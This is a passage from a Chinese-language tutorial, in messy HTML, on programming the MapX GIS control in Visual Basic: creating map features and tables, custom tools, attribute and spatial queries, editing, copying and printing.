<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>二、创建地图对象 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>必要：创建地图对象，必须使用FeatureFactory对象 <BR>1、 创建一个点对象 <BR>点对象有一个坐标点（X，Y），点对象变量是Point类型，点对象的样式（Style）是符号<BR>样式。 <BR>Dim Pnt AS MapXLib.Point <BR>Dim FeaFac AS MapXLib.FeatureFactory <BR>Dim Lyr AS MapXLib.Layer <BR>Dim Ftr AS MapXLib.Feature <BR>Dim NewStyle AS MapXLib.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘绑定 <BR>SET Lyr=MainMap.Layers.Item(LayerName) <BR>SET FeaFac=mainmap.featurefactory <BR>‘设置点对象样式 <BR>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .SymbolType = miSymbolTypeBitmap <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapSize = 24 <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapTransparent = False <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>Mainmap.AutoRedraw=False&nbsp;&nbsp;&nbsp;&nbsp; ‘禁止自动刷新 <BR>Lyr.Editable=True&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘置当前图层为可写状态 <BR>‘创建点对象 <BR>pnt.set X1,Y1 <BR>‘添加进当前图层 <BR>Set Ftr=FeaFac. CreateSymbol (Pnt,Newstyle)&nbsp;&nbsp; ‘创建符号 <BR>‘Set Ftr=FeaFac. CreateSymbol (Pnt,MainMap.DefaultStyle) <BR>‘添加 <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr.Editable=False <BR>‘释放 <BR>SET Pnt = Nothing <BR>SET FeaFac&nbsp; = Nothing <BR>SET Lyr&nbsp; = Nothing <BR>SET Ftr&nbsp; = Nothing <BR>‘以上代码放在MapX的ToolUsed事件下 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>单独修改某个图元的样式：SET Ftr.Style=NewStyle，再用Update 即可 <BR>2、 创建一个线矩形 <BR>Dim Pnts AS MapXLib.Points </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .LineColor=Rgb(0, 0,255) <BR>End With <BR>‘第一个点 <BR>Pnt.Set X1,Y1 <BR>Pnts.add Pnt <BR>‘第二个点 <BR>Pnt.Set X2,Y1 <BR>Pnts.add Pnt <BR>‘第三个点 <BR>Pnt.Set X2,Y2 <BR>Pnts.add Pnt <BR>‘第四个点 <BR>Pnt.Set X1,Y2 <BR>Pnts.add Pnt <BR>‘第五个点 <BR>Pnt.Set X1,Y1 <BR>Pnts.add Pnt </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘创建线矩形 <BR>SET Ftr=FeaFac.CreateLine(Pnts,NewStyle) <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>3、 上面创建对象中存在的问题：并未对其数据数据进行赋值 <BR>创建对象的同时创建其数据集合 <BR>Dim Pnt AS MapXLib.Point <BR>Dim FeaFac AS MapXLib.FeatureFactory <BR>Dim Lyr AS MapXLib.Layer <BR>Dim Ftr AS MapXLib.Feature <BR>Dim NewStyle AS MapXLib.Style <BR>Dim ds AS MapXLib.Dataset <BR>Dim Flds AS MapXLib.Fields </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp;‘绑定 <BR>SET Lyr=MainMap.Layers.Item(LayerName) <BR>SET ds=Lyr.Datasets.Item(1) <BR>Set Flds=ds.Fields <BR>SET FeaFac=mainmap.featurefactory <BR>‘设置点对象样式 <BR>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .SymbolType = miSymbolTypeBitmap <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapSize = 24 <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapTransparent = False <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>Mainmap.AutoRedraw=False&nbsp;&nbsp;&nbsp;&nbsp; ‘禁止自动刷新 <BR>Lyr.Editable=True&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘置当前图层为可写状态 <BR>‘创建点对象 <BR>pnt.set X1,Y1 <BR>‘创建图形 <BR>Set Ftr=FeaFac. CreateSymbol (Pnt,Newstyle)&nbsp;&nbsp; ‘创建符号 <BR>‘Set Ftr=FeaFac. CreateSymbol (Pnt,MainMap.DefaultStyle) <BR>‘设置属性 <BR>For I=1 to Flds.Count <BR>Lyr.KeyFields=Flds.Item(i).Name <BR>Ftr.KeyValue=ValueStr(I)&nbsp;&nbsp; ‘这里并没有对字段类型进行判断 <BR>Next <BR>‘另外一种方法：使用RowValues和RowValue对象 <BR>‘添加 <BR>Lyr.AddFeature Ftr <BR>Lyr.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr.Editable=False <BR>‘释放 <BR>SET Pnt = Nothing <BR>SET FeaFac&nbsp; = Nothing <BR>SET Lyr&nbsp; = Nothing <BR>SET Ftr&nbsp; = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET ds = Nothing <BR>SET Flds&nbsp; = Nothing <BR>4、 创建表 <BR>（1） 临时表： <BR>A、用MainMap.Layers.CreateLayer方法创建临时表。但这个临时表只有一个字段：GeoNa<BR>me( Char 24)。程序运行过程中该表存放位置为系统临时文件夹下 <BR>B、使用LayerInfo对象创建临时表，可以指定字段。示例： </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; Dim Lyr As MapXLib.Layer <BR>&nbsp; Dim LayerInfo As New MapXLib.LayerInfo <BR>&nbsp; Dim Flds As New MapXLib.Fields <BR>&nbsp;&nbsp; <BR>‘字段定义 <BR>&nbsp; Flds.AddStringField "ID", 12 <BR>&nbsp; Flds.AddStringField "Name", 50 <BR>&nbsp; Flds.AddNumericField "Deptch", 12, 2 <BR>&nbsp; Flds.AddIntegerField "Length" <BR>&nbsp;&nbsp; <BR>&nbsp; &acute; <BR>&nbsp; LayerInfo.Type = miLayerInfoTypeTemp <BR>&nbsp; LayerInfo.AddParameter "FileSpec", FileName <BR>&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp; LayerInfo.AddParameter "Fields", Flds <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = Nothing <BR>&nbsp; Set LayerInfo = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2） 创建永久表 <BR>&nbsp; Dim Lyr As MapXLib.Layer <BR>&nbsp; Dim LayerInfo As New MapXLib.LayerInfo <BR>&nbsp; Dim Flds As New MapXLib.Fields <BR>&nbsp;&nbsp; <BR>&nbsp; Flds.AddStringField "ID", 12 <BR>&nbsp; Flds.AddStringField "Name", 50 <BR>&nbsp; Flds.AddNumericField "Deptch", 12, 2 <BR>&nbsp; Flds.AddIntegerField "Length" <BR>&nbsp;&nbsp; <BR>&nbsp; &acute; <BR>&nbsp; LayerInfo.Type = miLayerInfoTypeNewTable <BR>&nbsp; LayerInfo.AddParameter "FileSpec", FilePath + "" + FileName <BR>&nbsp; LayerInfo.AddParameter "NAME", LayerName <BR>&nbsp; LayerInfo.AddParameter "Fields", Flds <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = MainMap.Layers.Add(LayerInfo, 1) <BR>&nbsp;&nbsp; <BR>&nbsp; Set Lyr = Nothing <BR>&nbsp; Set LayerInfo = Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>5、 创建工具句柄 <BR>系统已经定义工具句柄都以整数（包括16进制）常数存在，句柄号大于1000和小于12基本都为系统使用。 <BR>A. 定义常数：必须为全局变量 <BR>Global Const CreateSymbolTool = 13&nbsp;&nbsp; &acute;创建节点 <BR>Global Const CreateLineTool = 15&nbsp;&nbsp;&nbsp;&nbsp; &acute;创建管线 <BR>Global Const InfoTipTool = 16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;信息工具 <BR>Global Const MoveFeature = 17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &acute;移动地图 <BR>Global Const ScaleDistanceTool = 18&nbsp; &acute;测量两点间的距离 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>B. 使用CreateCustomTool创建新的工具句柄： <BR>MainMap.CreateCustomTool CreateSymbolTool, miToolTypePoint, miSymbolCursor <BR>MainMap.CreateCustomTool CreateLineTool, miToolTypeLine, miCrossCursor <BR>MainMap.CreateCustomTool InfoTipTool, miToolTypePoint, miCrossCursor <BR>MainMap.CreateCustomTool MoveFeature, miToolTypeLine, miPanCursor <BR>MainMap.CreateCustomTool ScaleDistanceTool, miToolTypeLine, miPanCursor <BR>C. 如何使用？&nbsp; <BR>在Map对象的ToolUsed事件的ToolNum参数为当前所激活的工具使当前操作指向某行为：MainMap.CurrentTool=工具句柄号，如放大：MainMap.CurrentTool=miZoomInTool，移动图元：MainMap.CurrentTool=MoveFeature <BR>操作具体的工具句柄时，执行该捕捉到的工具句柄的代码： <BR>在ToolUsed事件中： </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Select Case ToolNum <BR>&nbsp;&nbsp; Case MoveFeature <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘执行代码 <BR>End Select </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>删除图元：Lyr.DeleteFeature Ftr </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>三、查询 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>1、 属性查找。Find、Search方法：注意的是Find方法只支持TAB表文件，不支持空间数据表。 <BR>Find ：与FoxPro中Locate定位命令想类似。 <BR>Search：支持SQL语句。写法：仅指SQL语句的WHERE 部分，且From语句中只能有一个表——仅对单表进行操作：</P>
<P>Select * from LayerName WHERE ID LIKE “%北京%” <BR>示例： <BR>A、查找 <BR>Dim Ftrs AS MapXlib.Features&nbsp;&nbsp;&nbsp;&nbsp; ‘图元集合 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET Ftrs=Lyr.Search(“ID LIKE ““%北京%”””) <BR>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; ‘执行语句 <BR>Next <BR>B、高亮显示 <BR>Lyr.Selection.Replace Ftrs&nbsp;&nbsp;&nbsp; ‘将当前查询所得的结果集全部高亮显示（隐含执行：Lyr.ClearSelection语句）——加入selection集合闪烁：不能用Selection，否则会对整个屏幕进行整个刷新（抖动）。使用更新Style的方法进行选定图元的闪烁。 <BR>记载图元的老样式：Set Oldsytle=Ftr.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.Selection.Add Ftrs&nbsp;&nbsp;&nbsp; ‘将当前查询所得的结果集添加到已有的结果集中，再全部高亮显示 </P>
<P><BR>C、对查询的结果集进行属性修改 <BR>示例程序：完成的是Professional中信息工具功能 <BR>Dim ds AS MapXlib.Dataset <BR>Dim Flds AS MapXlib.Fields <BR>Dim Ftr AS MapXlib.Feature </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set Lyr=MainMap.Layers.Item(LayerName) <BR>Set ds=Lyr.Datasets.item(1) <BR>Set Flds=ds.Fields <BR>‘查找 <BR>SET Ftrs=Lyr.Search(“ID LIKE ““%北京%”””) <BR>If Ftrs.count=0 then exit sub </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘读取属性值 <BR>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; Set Ftr=Ftrs.Item(I) <BR>&nbsp;&nbsp; For j=1 to Flds.count <BR>FldsName(J)=Flds.Item(J).Name&nbsp;&nbsp;&nbsp; ‘字段列表 <BR>Lyr.KeyField=FldsName(J) <BR>&nbsp; ValueStr(I,J)=Ftr.KeyValue&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘值列表 <BR>&nbsp;&nbsp; Next <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘修改属性 <BR>MainMap.AuyoRedraw=False <BR>Lyr.Editable=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For j=1 to Flds.count <BR>Lyr.KeyField= Flds.Item(J).Name <BR>Ftrs.Item(j).KeyValue =ValueStr(J)&nbsp;&nbsp;&nbsp;&nbsp; ‘更新值列表 <BR>Ftrs.Item(j).Update True <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AuyoRedraw=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘修改样式 <BR>Dim NewStyle AS MapXlib.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>With NewStyle <BR>‘设置样式 <BR>End With </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>MainMap.AuyoRedraw=False <BR>Lyr.Editable=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For i=1 to Ftrs.count <BR>Set Ftr =Ftrs.Item(I) <BR>SET Ftr.Style=NewStyle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘更新样式 <BR>Ftr.Update True <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AuyoRedraw=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>2、 空间查找 <BR>&sup2; 点查找：SearchAtPoint，结果集为Features类型 <BR>Dim Pnt AS MapXlib.Point </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Pnt.Set X,Y <BR>Set Ftrs=Lyr.SearchAtPoint(Pnt,miSearchResultAll) <BR>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; ‘执行语句 <BR>Next <BR>注意：点查找时，一般情况下结果集在一个以上的图层都存在。所以取值时应分别提取 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>&sup2; 园查找：在临时图层上画一个不保存的圆，然后查找被这个圆所包含的所有图层的图元对象。 <BR>Dim Pnt AS MapXlib.Point <BR>Dim TempCir AS MapXlib.Feature <BR>Dim FeaFac AS MapXLIB.featurefactory </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Pnt.Set X,Y <BR>Set tempcir=FeaFac.CreateCircularRegion(miCircleTypeMap ,Pnt,1, MainMap.MapUni<BR>t,,) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘miSearchTypeCentroidWithin ：中心点包含 <BR>‘miSearchTypePartiallyWithin ：部分包含 <BR>‘miSearchTypeEntirelyWithin ：全部包含 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set Ftrs=Lyr.SearchWithinFeature (TempCir, miSearchTypePartiallyWithin) </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>For I=1 to Ftrs.Count <BR>&nbsp;&nbsp; ‘执行语句 <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET Pnt =Nothing <BR>set TempCir =Nothing <BR>set FeaFac =Nothing </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>3、 相交 <BR>判断两个图元是否有交点以及交点坐标信息。 <BR>（1）判断是否相交 <BR>IF Lyr.IntersectionTest( ftr1, ftr2, miIntersectFeature ) THEN <BR>&nbsp;&nbsp; ‘交点 <BR>END IF </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2）获取相交点坐标信息 <BR>‘交点 <BR>Dim Ftr AS MapXlib.Feature </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET Ftr=MainMap.FeatureFactory. IntersectFeatures(Ftr1,Ftr2) <BR>‘交点坐标信息 <BR>For J=1 to Ftr.parts.item(1).count <BR>&nbsp;&nbsp;&nbsp; X1= Ftr.parts.item(1).Item(J).X <BR>&nbsp;&nbsp;&nbsp; Y1= Ftr.parts.item(1).Item(J).Y <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>4、 测距 <BR>使用Map对象的Distance方法。如何测量任意多边形的周长？ <BR>使用累加的方法，还要使用图元节点集合。 <BR>DistanceValue=0 <BR>‘第一个点 <BR>Pnt.Set Ftr.Parts.Item(1).Item(1).X, Ftr.Parts.Item(1).Item(1).Y <BR>For j=2 TO Ftr.Parts.Item(1).Count <BR>&nbsp;&nbsp; ‘累加 <BR>&nbsp;&nbsp; X1= Ftr.Parts.Item(1).Item(j-1).X <BR>&nbsp;&nbsp; Y1= Ftr.Parts.Item(1).Item(j-1).Y <BR>&nbsp;&nbsp; X2= Ftr.Parts.Item(1).Item(j).X <BR>Y2= Ftr.Parts.Item(1).Item(j).Y <BR>&nbsp;&nbsp; DistanceValue = DistanceValue +MainMap.Distance(X1, Y1, X2, Y2) <BR>Next <BR>‘多边形周长 <BR>Msgbox DistanceValue+” ”+MainMap.MapUnit </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>四、对象编辑 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（1）、对属性的编辑 <BR>主要使用Fields对象。示例： <BR>Dim Flds AS MapXlIB.Fields </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘修改当前图层的每一个字段 <BR>For J=1 to Flds.Count <BR>Lyr.KeyField= Flds.Item(j).Name ‘使当前图层指向J字段 <BR>&nbsp; ‘更新当前图元的J字段值 <BR>&nbsp; Ftr.KeyValue=NewValueStr(J) <BR>&nbsp; Ftr.Update True&nbsp;&nbsp;&nbsp; ‘并未写入硬盘 <BR>Next <BR>Lyr.Refresh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘保存修改到硬盘 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>（2）、移动地图 <BR>首先创建一个移动工具句柄 <BR>MainMap.CreateCustomTool MoveFeature, miToolTypeLine, miPanCursor <BR>在Map对象的ToolUsed事件的ToolNum参数为当前所激活的工具捕捉MoveFeature工具句柄‘传过来的参数：X1，Y1，X2，Y2 <BR>Select case ToolNum <BR>&nbsp;&nbsp; …….. <BR>&nbsp;&nbsp; Case&nbsp; MoveFeature <BR>Dim Lyr AS MapXlib.Layer <BR>Dim Ftr AS MapXlib.Feature <BR>Dim Ftrs AS MapXlib.Features </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Dim Xe,Ye AS Double&nbsp;&nbsp;&nbsp;&nbsp; ‘坐标偏移量 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Xe=X2-X1 <BR>Ye=Y2-Y1 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set Lyr=Mainmap.Layers.Item(LayerName) <BR>Set Ftrs=Lyr.Selection.Clone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘将当前图层中选定的集合复制到Ftrs变量中 <BR>MainMap.AutoRedraw=False <BR>Lyr.Editable=True <BR>For J=1 to Ftrs.Count <BR>&nbsp;&nbsp; Set Ftr=Ftrs.Item(J) <BR>&nbsp;&nbsp; Ftr.Offset Xe,Ye <BR>&nbsp;&nbsp; Ftr.Update True <BR>Next <BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AutoRedraw=True </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>SET lyr=Nothing <BR>SET Ftr=Nothing <BR>End Select <BR>（3）、样式更新 <BR>&nbsp;Dim NewStyle AS MapXLib.Style </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘初始赋值 <BR>Set Lyr=MainMap.Layers.Item(LayerName) <BR>Set Ftrs=Lyr.AllFeatures <BR>Set NewStyle=Ftrs.Item(1).Style <BR>‘设置样式 <BR>With NewStyle <BR>&nbsp;&nbsp;&nbsp; .SymbolType = miSymbolTypeBitmap <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapSize = 24 <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapTransparent = False <BR>&nbsp;&nbsp;&nbsp; .SymbolBitmapName = "YIEL2-32.BMP" <BR>End With <BR>‘更新 <BR>MainMap.AutoRedraw=False <BR>Lyr.Editable=True <BR>SET Ftr.Style=NewStyle <BR>Ftr.Update True <BR>Lyr.Refresh <BR>Lyr.Editable=False <BR>MainMap.AutoRedraw=True</P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P><BR>五、输出 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>1、属性的输出&nbsp;&nbsp; 输出到EXCEL表： <BR>For I=1 to Flds.Count <BR>Lyr.KeyFields=Flds.Item(i).Name <BR>Excel(1,I).Cell=Ftr.KeyValue <BR>Next <BR>2、复制、粘贴 <BR>Global CopyFtrs AS MapXlib.Features </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>Set lyr=mainmap.Layers.item(LayerName) <BR>Set Ftrs=Lyr.Selection.Clone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ‘复制选中集合 <BR>‘复制 <BR>For I=1 to Ftrs.Count <BR>CopyFtrs.add Ftrs.Item(I) <BR>Next </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>‘粘贴（图形） <BR>Set lyr_1=mainmap.Layers.item(LayerName_1) <BR>Mainmap.AutoRedraw=False <BR>Lyr_1.Editabled=True <BR>For J=1 to CopyFtrs.Count <BR>&nbsp;&nbsp; Lyr_1.AddFeature CopyFtrs.Item(J) <BR>Next <BR>Lyr_1.Refresh <BR>Mainmap.AutoRedraw=True <BR>Lyr_1.Editabled=False </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>3、地图的打印 <BR>&nbsp; Dim iScaleMode As Integer </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
<P>&nbsp; iScaleMode = MainMap.Container.ScaleMode <BR>&nbsp; MainMap.Container.ScaleMode = 6 </P>
<P></SPAN><SPAN style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">&nbsp;</P>
